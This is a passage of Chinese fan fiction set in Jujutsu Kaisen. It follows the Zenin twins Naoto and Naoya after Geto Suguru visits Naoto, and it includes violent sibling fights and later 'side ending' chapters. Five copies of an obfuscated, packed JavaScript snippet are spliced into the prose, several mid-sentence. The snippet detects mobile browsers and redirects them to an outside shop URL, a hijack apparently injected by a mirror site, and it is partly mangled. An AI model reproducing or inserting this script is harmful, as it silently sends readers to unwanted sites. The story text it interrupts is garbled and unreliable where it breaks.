直人已经无语到难以呼吸了。他真是想知道,夏油杰怎么可以这么轻易地发表这么不要脸的言论。 千言万语汇聚在胸前气口堵住,最后从直人嘴里蹦出来的,只有一句他自己都觉得荒谬的话:“你不会要说,你后悔了吧夏油杰。” “你是指什么?”夏油杰好整以暇地侧转方向,与直人正面相对。 “你的那个什么大义。” “那必然不会。” 夏油杰答得很爽快:“我依然追逐我的理想。” “那你现在放这通屁是什么意思?” 直人的话语变得很粗俗。 夏油杰安静地看着直人,细长的眉毛与双眼,在他那张疲惫的面容上表现得平静。 安静在二人之间持续了很久,似乎等直人的情绪有所平复,夏油杰才又开口:“我在吉隆坡和美国都有房产,在美国的账户有几千万美金。” “你上过大学,会英语,可以去国外生活。” “……” “你说什么?” 直人表情难掩失语,沉默片刻,才挤出一节气音。 “你可以去国外生活,直人。”夏油杰又重复了一遍。 “……”直人像看疯子一样看夏油杰:“我为什么要去美国?” “吉隆坡也可以,你想去哪里都没问题。菜菜子和美美子说不定也会和你一起,她们很想你,你不会觉得寂寞的。” “……你是不是在找保姆呢? 我和她们就见过两次。” 直人的语气平平。 夏油杰笑出来,两眼弯弯:“怎么会,你把我想得太坏了。” “我倒觉得我把你想得太仁慈了。”直人冷言相讥。 “我不懂你想干什么,夏油。我是不会去的,我是不会离开禅院的。” 夏油杰看着他,狭长的眼睛微微眯起:“你是离不开直哉吧。” “是。” 直人答得理所当然。 夏油杰脸上的笑意淡去,表情有些危险:“你还是这么爱你这个兄弟。如果他死了——” “我会和他一起死。”直人轻飘飘地说着,眼睛不看夏油杰。 夏油杰定定地看着他,他的眼睛眯成一条缝,看不清里面的神色。过了会儿,他又说: “为了直哉那种废物,把自己耗死在禅院,值得吗?” 夏油杰慢条斯理地问,声音像毒蛇吐信,“他甚至保护不了你。就像现在,他除了在电话那头发火,还能做什么?” “我知道,你现在心里肯定在祈祷他别来救你,因为他来也没什么用。” …… “小直,他保护不了你的。”夏油杰幽幽地叹息,他低声说:“他是个蠢货,迟早会害死自己,也会害死你。” 直人面色阴沉。 寂静在房间里蔓延。 直人终于开口,声音低哑:“说完了?” 夏油杰挑眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887265|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你还是这么自以为是,夏油杰。” 直人垂眼,盯着地板上他的影子。 夏油杰没有说话。 直人接着说:“从十年前突然说要执行什么大义,上赶着把苦难都揽在你一个人肩膀上。” “到现如今又装作什么都没发生的出现在我眼前,莫名其妙几句话,就想让我听你的离开日本。” “我看你是疯魔了。” 直人抬头,他盯着夏油杰,声音冷漠:“我不需要你的怜悯,夏油。我去哪,做什么,是死是活,都与你无关。” “你是咒术师的救世主,但我可不是术师。传教别传昏头了,夏油。” …… 夏油杰仍没有说话。 房间里现在更沉默的已经变成他了。 他抬手揉了揉眼睛,垂下头,双手撑着自己的膝盖。 直人看着他被长发挡住大半的侧脸,声音重新压得很轻:“你是来和我道歉的吗。” “你想用钱和房产,让过去一笔勾销吗?” “不。” 夏油杰开口了。他起身,身体面向直人,神色戚然:“直人,过去是没法一笔勾销的,我从没想过让它消失。” “但你若要这样做,我也毫无怨言。” 直人冷笑:“我还以为你后悔了,要哭着和我复合。” 夏油杰低笑出声:“你还是这么幽默。” 他向直人走来,在他身前停下。夏油杰整理了下袈裟的袖口,抬眼直视直人的眼睛:“我不做后悔的事。” “我看你是死鸭子嘴硬。” “别对我那么冷酷。” “没你当年那把刀冷。” 夏油杰哑然,他静静地看着直人,抬手碰了碰直人的脸。 “真漂亮。” 直人依旧没有躲。 冰凉的掌心顺势贴着直人的脸颊,轻轻抚摸。直人的余光,从宽松的袖口里看见那截瘦得骨节过分突出的手腕。 夏油杰向前一步,额头抵住直人的胸口,扎起的头发蹭着直人的下巴。 直人仰头,转过脸看向别的方向,喉结哽动。 他没有推开夏油杰,夏油杰也没有下一步的动作。 门外的手机铃不知道什么时候停了,走廊的声控灯不再亮起,门缝外黑压压的一片。 屋内只剩下二人呼吸的声音。 不知过了多久,夏油杰终于起身,他脸上重新挂上温和的笑,手到脑后重新为自己束发。 “别哭,直人。” 夏油杰笑着,没有抬眼看直人,他后退两步,转身精准地走入直人的房间。 直人跟上去,看见夏油杰的手已经搭上房间的窗台,夏油杰侧过脸,笑眯眯地说:“你哥哥快到了,我就不和他碰面了。两手空空,实在失礼。” 在夏油杰即将翻身跃出窗外的时候,直人说了一句: “我也一样。” “我不做后悔的事。” 直人的声音不大,他不知道夏油杰听见了没有,因为他的动作没有停顿,身形从窗外下坠后,又高高浮起,身影没入黑夜。 直人在原地站了一会儿,回到客厅,弯腰将散了一地的文件一一拾起,在捡到其中一张的时候,上面横了一串号码。 直人手一顿,将它捡起来细看,才发现后面还画了一个留着一缕刘海的眯眯眼,正咧着嘴笑。 直人将那张纸攥成团,他仰起脸,手捏着自己的山根,房间里,仅仅剩下他的呼吸声,断断续续地抽搐。 25. 【二十一】 快一点。 再快一点。 风介肺里火辣辣的,不断扩充拉扯。 接到直哉电话的那一秒,他就把速度提到了极限。 身体一刻也不停地全速奔跑,喉咙里已经流出铁锈的味道,每一次呼吸都像刀片绞割。 什么也来不及想。 快一点。 再快一点。 他就不该让直人一个人回去。 直人身上是带着什么buff吗? 一个人出门必定倒霉这样的诅咒。 明明是双胞胎,为什么他能倒霉到这个地步,运气全都分给直哉了吗? 妈的。 过年的时候去庙里给他求个平安福吧。 不。 明天就去。 公寓楼出现在视野里。风介一个急刹停住,鞋底在路面擦出刺耳的声响。 他抬起头。 十二楼,他们住的那一层,亮着灯。 风介正要冲进去,但发烫充血的身体只是晃了晃,又定在原地。 路上没来得及思索的问题此刻全部追了上来,风介突然感到有种莫名的无望。 他现在上去还来不来得及,如果赶上了又能做什么? 夏油杰是特级。他只是一个不上不下的一级。 他的手死死攥住刀柄,指节发白。和他同行的辅助监督应该已经把消息上报,五条悟现在是否能赶过来? 直哉呢? 就这么一停顿的功夫,旁边空间一阵扭曲,禅院直哉的身影骤然出现。 他也喘着气,金发凌乱,和服领口大敞。 两人视线对上,里面是同样的惊惧。但直哉的眼里更多是快要炸开的暴怒。 直哉身形一闪,二话不说往里冲。 “喂!”风介下意识喊了一声,“等等,我们——” 但直哉根本没停。 风介啐了一口,唾弃自己刚才的懦弱和退缩,紧跟而上。 大堂里,电梯正停在一楼。 直哉瞥了一眼楼层数字,没有丝毫犹豫,转身就撞开通往楼梯间的门,身影消失在向上的阶梯尽头。 风介没去追。他知道自己追不上投射咒法的速度。 他冲到电梯前,手指用力地、反复地戳着上行按钮。 电梯门缓缓打开。 风介一步跨入。 妈的—— 妈的—— 妈的——禅院直人这个贱人! 阶梯在禅院直哉脚下一窜而过,迅疾的脚步在空旷的楼道不断发出回响。投射咒法已经被催动到极致,在楼梯间里拉出一道残影。 妈的—— 为什么? 为什么要离开他的身边? 既然是废物,就老老实实跟着他就好了! 为什么所有人都要把他们分开? 是因为他不够强吗,因为他不够强,一切都是因为他不够强—— 愤怒烧得禅院直哉眼眶发烫。 从一开始, 说着什么双胞胎是上天诞下的诅咒这种荒唐的话,这不过是弱者给自己找的借口。 自己不够强,没有幸运地得到好的天赋,便也不再努力,像猪一样肮脏懒钝,然后把一切怪罪于自己的兄弟。 简直要笑掉大牙了。 强者是不会有任何借口的。 「在咒术届,人们通常把双胞胎看作同一个人,在他们作为双生子诞生时,能力会被平分。因此,如果双生子想要变强,就必须要两人同时努力。」 就是这样的说辞。 因此,所有人就这样自说自话的,把导致他不够强的原因,他不能和五条悟比肩的原因,他没有觉醒十种影法术的原因,安在了直人的头上。 他那个弱小得可怜的兄弟。 用这样的理由把他圈养在妈妈的院子,把他送进东京咒术高专,现在又把他赶到大阪。 妈的,凭什么! 不需要! 他禅院直哉不需要这样懦弱的借口! 直人什么都不用做也无所谓,既然力量被分成两份,那他就付出双倍的努力就好了。 直人不需要变强,因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887266|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会一直努力下去,这是理所当然的事。因为他是哥哥,没有弟弟有用的哥哥根本没有存在的必要。 他偏要那群杂碎睁大他们的狗眼看看,他禅院直哉从不相信这种所谓的诅咒,他一个人也可以达到他们难以企及的高度。 就像甚尔,就像甚尔。 甚尔与甚一同样是双生子,甚一那么废物,但甚尔不也还是有着那样强悍的□□和实力吗? 只有强者才能互相理解。 他已经在努力了。 他迟早有一天会做到甚尔那个地步。 但是为什么? 所有人都不愿意等一等!? 他还要怎么做,直人,你他妈的告诉我,我还要怎么做! —— 十二楼到了。 楼道里安静得可怕。 声控灯应着他狂奔的脚步声亮起,惨白的光线下,直哉一眼就看到了躺在门边,屏幕碎裂成蛛网的手机。 是直人的。 禅院直哉的心跳骤停了一瞬。 他没有弯腰去捡,脚步一刻也不停地冲向那扇紧闭的门。门内没有声音,禅院直哉抬脚,猛地踹在门锁的位置。 “砰——!” 巨响在空旷的走廊里炸开。 沉重的门板应声倒下,禅院直哉闯了进去。 客厅的灯亮着。 文件散落一地,茶几歪在一边。 没有打斗的痕迹。 也没有血。 空气里到处都盘绕着夏油杰的咒力残秽。 他的视线刮过整个客厅,最后定格在站在客厅中央,正弯腰捡着纸张的直人身上。 直人闻声抬起头,看向他,脸上没什么表情,只有额前新剪的短发有些凌乱地翘着。 看起来完好无损。 两人四目相对,直哉胸腔里那口憋着的气,猛地松了。 随之翻上来的是更加汹涌的,无处发泄的,夹杂着愤怒亦或是其他什么的情绪。 “妈的,你没死呢?” 禅院直哉捋了把刘海,这样平静地说道。 26. 【二十二】 直人嗯了一声,他低下头继续捡纸。 直哉走过去,一把攥住直人手腕把他扯起来。力道很大,直人手里刚捡起的文件又撒了一地。 “他人呢?” “走了。” 直人还是没抬头,他想抽手,没抽动。声音压得很低,回答得简短。 “从哪走的?” “窗户。” 直哉快步走进卧室。窗户大开,夜风灌进来,吹得窗帘翻飞。他探头往下看,街上空无一人。 风介这时才乘电梯上来,他冲到门口,看到安然无恙的直人,才长舒一口气,在胸口画了个十字。 倒不是信教,只是他经常在街边看到老头老太这么做。 他看到倒塌的大门和满室狼藉,啧了一声。 这时候卖门的和修门的恐怕都下班了。 “看来没打起来。”风介说着,把刀归鞘。 直哉从卧室出来,脸色阴沉得能滴水。他一把揪住直人的衣领:“他来找你干嘛了?” 直人扭过头,声音含含糊糊的:“没干嘛,看我死了没。” 直哉拧紧眉毛,他突然察觉到不对,猛地捏住直人下巴,迫使他抬起脸。直人眼皮有点肿,下眼睑微微泛红。虽然脸上干干净净,但直哉太熟悉这种痕迹了。 他哭过。 就在刚才。 “他打你了?” 直人别开脸。“没有。” “那你他妈为什么哭?” “我没有。” “骗鬼呢,你这样子我还见得少了。” 直哉一把揪住直人新剪的短发,逼他仰头。“他打你了?伤哪了?” 他边说边把他往自己这边扯,另一只手去掀他衣服领口,想检查他身上有没有伤。 “他没有打我——” 直人挣扎起来,用手格开他。 “那你怎么不让我看?” 两人扭在一起,胳膊撞到旁边的立灯,灯罩晃了晃。咣当一声,两个人滚到地上,直人一拳闷在直哉脸上,直哉气不过,一个头锤撞上直人的脑门。 风介站在门口,手抬起来,支吾半天喊出句:“别打了你俩。” 但两兄弟没一个搭理他,风介徒劳地在空气里抓了抓手,又把手放到后脑勺上。 犹豫半天,风介还是决定过去拉架。 但他的脚刚踩上被直哉踹变形的大门,“滚出去!”直哉头也不回地吼。 风介转身就走。 他受够这对双胞胎了。 他靠在走廊的墙壁上,点个根烟叼在嘴里,掏出手机给辅助监督打了个电话。 “喂?打扰了,这里是禅院风介。夏油杰已经走了,现场残秽处理得很干净,检查不出去向。” “是的,麻烦转告悟君,他不用过来了。不好意思,是的,直哉君已经到了。” “没有人员死亡,是的,只有一例伤员。” “是的,劳烦关心,无性命危险,由禅院家自主负责治疗。” 屋内,直哉把直人按在沙发靠背上,膝盖顶住他的腿,手还死死攥着他手腕。 直人喘着气,不再动了。他垂着眼,不肯看直哉。 直哉看着他这副死人样子,刚压下去的火又拱起来,烧得他心烦意乱。 “他到底来干什么?”直哉掰过他的脸,盯着他的眼睛,又问了一遍。 直人看着他,喉结滚了滚,说:“他让我去国外。” 房间里突然安静下来。 半晌,直哉的声音才又响起,语速很慢,声音很荒谬:“什么?” “夏油杰。他建议我去国外生活。”直人重复道,声音平静,“说他在美国和马来西亚有房产,可以给我。” 直哉的表情一点点冷下来。 “你怎么说?” 直人向后仰头,脖颈完整地袒露在直哉眼下,他躺倒在沙发上看着窗外,说:“我说不去。” 直哉松开手,坐在直人身上。 他直起身,居高临下地看着直人。 “为什么不去?”直哉问,声音很轻。 直人终于把视线放回在直哉身上,他眉头微皱,似乎在困惑直哉为什么会问这种问题。 “你在这里。”直人说。 直哉盯着他,嘴角慢慢扯出一个笑。 “算你识相。” 他站起身,在直人也要顺势起来的时候,直哉抬起膝盖压在直人胸口,倾身又把他压了回去。 直哉逼得很近,两人的鼻尖几乎要蹭到一起,鼻息互相交融。 “你还没说,你为什么哭?” 直人直直地看着直哉的眼睛,能从对方放大的瞳孔里看到自己的倒影,睫毛轻轻颤动。直人撇开脸,和直哉一样的口音鼻音浓重:“有点伤心。” “伤心什么?”直哉顿了两秒,表情瞬间变得难看。他手掐在直人脖子上:“你他妈不会要说你余情未了吧?” 直人闭着嘴,不说话了。 “妈的,说话,我掐死你啊!” “是你自己要问的。”直人翻了翻眼,声音毫无起伏。 直哉气得胸膛剧烈起伏,他一翻身又跨坐在直人腰上,两只手掐着直人的脖子用力:“老子怎么会有你这种双胞胎兄弟——!!!” 一直在门口听动静的风介掐了烟,冲进来:“喂,别真打死了!” “别拦我!” “咳咳,咳咳——” “真的要死了!” 几分钟后,直哉拉开冰箱的门,里面空荡荡的,只有两瓶矿泉水。他拿出一瓶,拧开,仰头往嘴里灌。 水珠顺着下颌流进领口。 他粗暴地抹了一把,又把刚刚崩开的衣领拢了拢,才转身走向客厅。 直人坐在沙发中间,垂头丧脸的,像要给谁发丧的,直哉看着就想冒火。 风介站在他们两个中间,试图调和。 “人没事就行。” “废物。”直哉骂了一句,他抬手指着直人:“你这种废物就该老老实实待在家里。” 风介在沙发上坐下:“现在说这个有什么用。” 直哉在客厅转着圈数落直人:“你都26了还那么爱哭,还为了个男的哭,成何体统!” “你还知道成何体统呢。”风介凉凉开口。 直哉没理他。 直哉越说越气,转眼看直人还低着头,无动于衷的样子,心头火起,又无处发泄。 他两步跨过茶几,扬手就想给直人一下。 手掌挥到半空,停住了。 直人没躲,就傻愣愣地抬眼看着他。 直哉的手僵在那里,最后狠狠一巴掌扇在墙上,白花花的墙灰唰唰往下掉。 “人没事就好。”风介又插话了,他伸手去拉直人的胳膊:“给哥哥道个歉,这事就过去了。你给我和直哉吓坏了。” 直人任由他拽,但嘴上一声没吭。 直哉喘了两口气,他自认为他是个脾气很好的人,也很有定性,但直人每次轻易地就能让他气得火冒三丈,毫无仪态。 他一转头,又猛地指向风介:“你也废物。让你看着他,你跑去杀咒灵,在京都没见你那么勤快。” “我是咒术师,”风介说,“不杀咒灵干什么?” “你就不能把他带着吗?” “我还能给他栓根绳牵着呢。” “你敢——” 直哉还要说什么,直人开口了。 “我饿了。” 他今天就吃了三个寿司,和酒店的两块烤牛肉。 直哉的骂声卡在喉咙里。 他瞪着直人,半晌才挤出一句:“你还有脸饿?” 风介如蒙大赦,他连忙站起身:“我去买点吃的。” “不准去。”直哉抓起手机开始翻外卖软件,“想吃什么?” “随便。” 直哉手指用力戳着屏幕:“没有随便这个选项。” “那就荞麦面。” 直哉动作一顿,抬头盯着直人:“你故意的?” 直人没说话。 最后直哉点了三份鳗鱼饭。 等外卖的时候,三个人各自占据客厅一角,没人说话。 风介靠着墙闭目养神。直哉坐在唯一完好的单人沙发上刷手机,手指划得飞快。他打电话让人明早天一亮,就买部新的手机送过来。 外卖到了,风介去拿。他把餐盒放在茶几上,自己打开一盒自顾自地吃起来。 直哉放下手机,拿起一盒递给直人。 直人接过来,掰开一次性筷子。他吃得很慢,一口饭要在嘴里嚼很久。 直哉几口吃完自己那份,把空盒子往旁边一推。开始盯着直人:“不许剩。” “这里不能住了,你们明天换新的地方,我已经把地址发在你手机上了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887267|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”直哉看向风介。 风介看了眼手机,点点头,又看向门口还横着的大门:“那这门还修吗?” “不修,拿去当你棺材板。”直哉冷冷地说。 风介嘴一抿,翻了个白眼。 “我还以为你这次来,肯定要把他绑回去。”顿了一下,风介又往嘴里倒了口味增汤,说:“不过,家主也肯定不会答应。” 风介用筷子指了指直人,直人还在往嘴里一筷子一筷子戳米饭,看表情味如嚼蜡,让人食欲尽失。 “我还不知道我们直人,吃饭的时候有数米粒的爱好呢。” 直哉一巴掌拍在他后脑勺上,力道大得直人整张脸都差点埋进去。 “是准备去挨个感谢被你吃掉的大米吗?蔬菜也全部吃掉,不许挑食。” 说完,他又转向风介,脸色难看:“不会说话就闭嘴。” 风介耸耸肩,把空餐盒塞回包装袋。 看着直人把最后一口吃完,直哉才起身,抓起外套往外走。 “去哪?”风介问。 “回京都。”直哉头也不回,“既然不需要我,我在这碍什么事。” “都这么晚了,就留下来,明早再走。” 直哉脚步一顿,手扶着门框,像是在犹豫。 风介冲直人使了个眼色,直人也终于开口:“床挺大的,睡得下。” …… 于是直哉纡尊降贵地留下了。 关上灯,两兄弟躺在同一张床上,直哉照例笔直地躺着,面朝上。 房间里很快只剩下两人的呼吸声。就在直人以为直哉睡着了的时候,直哉突然翻身,一把扳过直人的肩膀,两人面朝面。 他伸手抓了抓直人的头发,嫌弃:“丑死了。” “比你的金毛好。” “真敢说啊你。” 直人笑了下,半张脸埋进枕头。 直哉的手还在揪他新染的白头发,一缕一缕翻着看,半天才勉强说了句:“这理发师手艺还算可以。” “……”直人嗯了两声,他有点困了,闭着眼睛点点头。 直哉的动作停下,但手还是搭在直人的头上。 直人呼吸平缓,没再动。 直哉等了会儿,凑过去,“睡了?”他声音压得很低。 直人没应声。 直哉又凑近了点,鼻尖几乎碰到直人的额头,他耸动鼻尖,闻到和他相同的洗发水的味道,还有一点残留的,来自于夏油杰的咒力残秽。 直哉皱起眉。 他伸手,用力搓直人的皮肤,想把那点气味擦掉。 直人动了动,睁开眼。 “干什么?”他声音带着睡意。 直哉没回答,继续搓。力道很大,皮肤很快泛红。 直人抓住他手腕。“痛死了,你有病?” 直哉停下动作。黑暗中,两人对视。 “他碰你哪了?”直哉问。 直人沉默片刻。“就头发。” “还有呢?” “没了。” 直哉盯着他,显然不信。他的手从被子底下,伸进直人衣摆。 直人身体一僵。 “我自己来。”他说着要坐起。 直哉按住他。“别动。” 手在皮肤上移动,检查得很仔细。从胸口到腰腹,再到后背。指尖偶尔用力按压,像是在确认什么。 直人闭着眼,任由他动作。 还好五条悟的抓痕不深,应该摸不出来。 “转身。”直哉命令。 “都说了没有。” 直人翻过身,窗帘拉得很紧,外面没有光透进来。 直哉的手在他的肩胛骨和脊背上划过,房间漆黑一片,只看得清直人身上,盘绕着的深深浅浅的纹身线条。 直哉摩挲纹身的手突然一顿,他眯起眼睛,吸了吸鼻子,然后俯身准备去细闻。 直人猛地翻身,把后背压在底下,一把推开直哉的脸:“痒死了。” “你洗干净澡没有,夏油杰的味道臭得要死。”直哉语气很差。 “我刷了三遍。” 直哉冷哼一声,重重地躺回床上,“要是那个疯子再敢来找你,我就杀了他。” 直人侧身面向直哉,脸埋进枕头,闷闷地笑出声:“你又打不过他。” 直哉也笑了。 “那就一起死。”他说。 27. 30岁的我们·支线结局(上) 今年32岁的直人正在回家的路上,现在已经晚上十一点,今天他和真希一起出席东京咒术高专举办的校友交流会,散会后又被硝子拉去聚餐。 吃完饭,他们还要去喝酒,直人以他不会喝酒为由,提前离席。 其实今天的校友会他也并不想来参加。 他在咒术高专只读了两年,期间很少出任务,和两位同期关系只能算作一般。 同期灰原雄死亡后,本来就不想他去东京的直哉得知消息,立刻要求直毘人给直人办退学。 “那种地方有什么好待的!马上让他回来!” 但直毘人并没有理会。 直人在电话里安慰直哉,说他平时大多跟硝子一起,偶尔出门逛逛。 那时夏油杰已经很忙,他们见面次数屈指可数。 直哉将信将疑,暂时按捺下来。 然而不到半个月,夏油杰叛逃。 他打电话将直人约在常去的公园见面,然后重创直人,下手狠厉,咒具刀刃贯穿直人的右胸膛。 幸亏五条悟赶到得及时。 再晚一点,直哉就可以直接给直人准备葬礼了。 消息传回禅院家,直哉怒火冲天地赶到东京咒术高专,等直人修养彻底后,他径直把直人带回京都,再不允许他回学校。 直毘人没再反对,权当默认。 在此之后没多久,直哉看直人在家闲得长霉,又逼直人自学高中课程,让他申请了京都大学。 家里也算是出了个大学生。 因此直人和东京咒术高专的人并不怎么熟悉,唯一算得上交好的只有硝子,五条悟也是在夏油杰叛逃之后,两人的来往才变得密切。 但奈何真希一直给他发短信,真希今年已经二十出头,早就从高专毕业,现在定居在东京。 真依留在京都,偶尔会回禅院给直人帮忙,两姐妹最少一周能聚一次。 今天离场的时候真希还想留他,但他说他晚上还要赶回京都。明天有一场记者会,他需要陪同直哉出席。 两面宿傩事件之后,咒灵已经面对社会公开,御三家和术师的存在也不再是秘密。 而御三家的家主现如今也都算作半个公众人物。 真希对此撇嘴,她和直哉的关系哪怕到了世界末日那一刻也不可能修复。 她鄙夷地称呼直哉是巨婴,事到如今还要弟弟贴身照顾。 直人对此只是微笑沉默。 身为家主的直哉32岁仍未娶妻生子,出席公众活动一直只有直人跟随。鞍前马后,端茶倒水。 因此,本就没有咒力无法成为术师的直人饱受诟病,被质疑32岁未婚未育,还只能依附哥哥生活,无法独立。 真希真依两姐妹在网络上敲着键盘强力反驳,声称直哉才是无法独立的那一个。 虽然此举很快就被重视维护直哉形象的直人叫停。 直人对此并没有什么多余的想法。 毕竟御三家的家主都是大忙人,这样的活动可能一个月也才只有一次,其余时候他也有自己的工作,两兄弟聚少离多。 跟直哉出席活动,两人至少还能有半天一直待在一起。 车辆停下,直人下车关上车门,走进禅院宅邸。 除了照常在门口值班的守卫,直人没再遇到其他人。 靠近直哉所住的庭院的时候,一整条连廊都熄着灯。 直人没有多想,直哉现在应该还在名古屋,估计要后半夜才能回来。 他拉开卧室的推拉门,走进去开灯,再回头,眼前骤然出现一个人影。 本应该在名古屋的禅院直哉双手环胸,半倚半靠在桌沿,正直勾勾地看着直人。 直人一顿,然后反手关上门。 直哉穿着墨色纹付羽织袴,米灰色袴脚垂在桌边。继任家主后直哉没再染发,黑色的头发全数往后梳,露出完整的额头。 32岁的面容比二十来岁的时候稳重得多,但他今天显然心情不妙,眉眼阴沉沉地压下来,显得更加瘆人。 “怎么回来了也不开灯。”直人说。 直哉不答,只盯着他。过了半晌,才悠悠地开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887268|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你辛苦了。” 直人解羽织的动作顿了顿,抬眼看他。 “你最近一定很忙,”直哉继续说,腔调优雅动听,“比我这个当家主的都忙。” 直人脸上露出困惑。 “既要大阪京都两头跑,”直哉盯着他,一字一顿,“还要抽空去东京私会五条。” 少见的,他没用“悟君”。 直人把羽织挂好:“我说了,是去参加校友交流会。不是单独见他。” “有人告诉我,”直哉说,“早上看见你和五条悟在吃早餐。” “只有你们两个人。”他补充。 “他自己跑来的。”直人语气没什么起伏,“正常来往而已。” 直哉从鼻子里哼出一声冷笑。 “你来往的对象可真够多的。”他扯起嘴角,“要是是女人,现在禅院家有一半的孩子都得是你的。” 他顿了顿,声音冷下去: “你这精力不能为禅院开枝散叶,还真是可惜了。” 直人皱眉:“你今天怎么了?” 他走到直哉面前,索性坦然道:“我不一直是这样?” 直哉脸色彻底沉下来。 “难道你不和那些人来往就不行吗?”他声音压着火,隐隐有些尖锐。 直人终于察觉不对。直哉虽然向来不满,但他们很少把这件事摆到明面来争执。 “你干嘛突然对他们这么在意?”直人思索着,然后说:“有谁来找你了?” 想到这个可能性,直人的表情也有些难看。他不希望有任何人跳到直哉眼皮子底下,惹他不高兴。 直哉盯着他,忽然问: “你很喜欢他们吗?” “比我还重要吗?” 直人几乎没犹豫:“怎么可能。” “所以,”直哉的面色明朗了点,他得出结论,“只是满足生理需求,对吧。” 直人怔住。 直哉当他默认了。他向后一坐,一只脚抬起来踩在桌面上,宽松的袴摆滑落,露出一截线条结实的小腿。 28. 30岁的我们·支线结局(下) “你以后要是再敢找人,你给我试试看。” 直哉接过水一口饮尽,顺手把杯子砸在直人身上。 他刚洗完澡,黑发全都湿漉漉垂下来,长度能挡住眼睛,看起来比白天乖顺。 直人从地上捡起水杯,放在桌上:“知道了。” 直哉还不满意,他伸手捞过直人的手机,撩起头发面容解锁,点进推特,翻直人的主页动态。 直人并不热衷这些社交软件,所以他的推特一直都是直哉在用,发的都是他俩的合照。 两兄弟脸这块没得说,因此直人的账号粉丝颇多。 “你要干嘛?”直人警觉:“你要是发出去我俩明天就得被逐出日本。” 禅院直哉当然知道,他又不是失心疯了。 但是什么也不做又让他心痒难耐。 他目光紧紧跟着直人,直人只围了件浴衣,拿着吸尘器在打扫卫生。 他这些年身上终于长了点肉,肩宽腰窄,算是对得起直哉的悉心喂养。 直哉一边看着直人的背影,一边心不在焉地划拉手机,在禅院的词条里突然翻到一条贴文,点开直人跟在他身后出席慰问活动的照片,配文是: 为什么禅院弟弟这么贤惠? 直哉盯着这条文字,嘴角翘起来。 他举起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887269|192059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机拍了一张直人打扫卫生的背影,配文: 为什么弟弟这么贤惠。 点击发送。 “喂。” 直哉把手机一丢,从床上下来往直人身后走。 直人回头,往后退一步,眉头一皱:“你明早还有记者会。” “想什么呢?” 直哉上前搭着直人的肩膀,幸灾乐祸地说:“网友都笑话你是我的妻子。” “哈,也差不多了。”直人捞起地上的衣服丢进脏衣篓。 “那你就给我跟那些人断干净,别让我抓住你‘出轨’。” “是是是,亲爱的兄长大人。” 29. 【二十三】 “你在等直哉吗?” 一个人影出现直人的跟前,把日光挡得严严实实,直人仰头,看到的是直贺。 直贺身上穿着破旧的练功服,他刚训练完,从道场出来。 直人顺着他出来的方向看,道场里,直哉还在挥刀。 “直哉很努力,也很有天赋。”直贺跟着看过去,语气羡慕,“虽然他八岁才开始训练,但是我已经打不过他了。” “要是他一开始就和我们一起学习,肯定比现在还要厉害。” 直人没说话。他低下头,继续缠手里的枝条。 “你在做什么?” 直贺坐到他旁边,凑近看。 “花环。” 直人头也不抬。他试着把捡来的花插上去,但花太小,缠的缝隙太大。花一次次掉出来。直人的动作越来越粗暴,捏烂了好几朵。花瓣碎了,掉在脚边。 “不是这样的。” 直贺把花环拿过去。他拆开,重新编。动作很慢。 “要这样。” 编好了。藤环很精巧,只是花不够。他递还给直人。 直人接过去,盯着看。 “直人喜欢花环吗?” 直贺撑着脸,好奇地问。 直人摇头,“我想给真希和真依。” 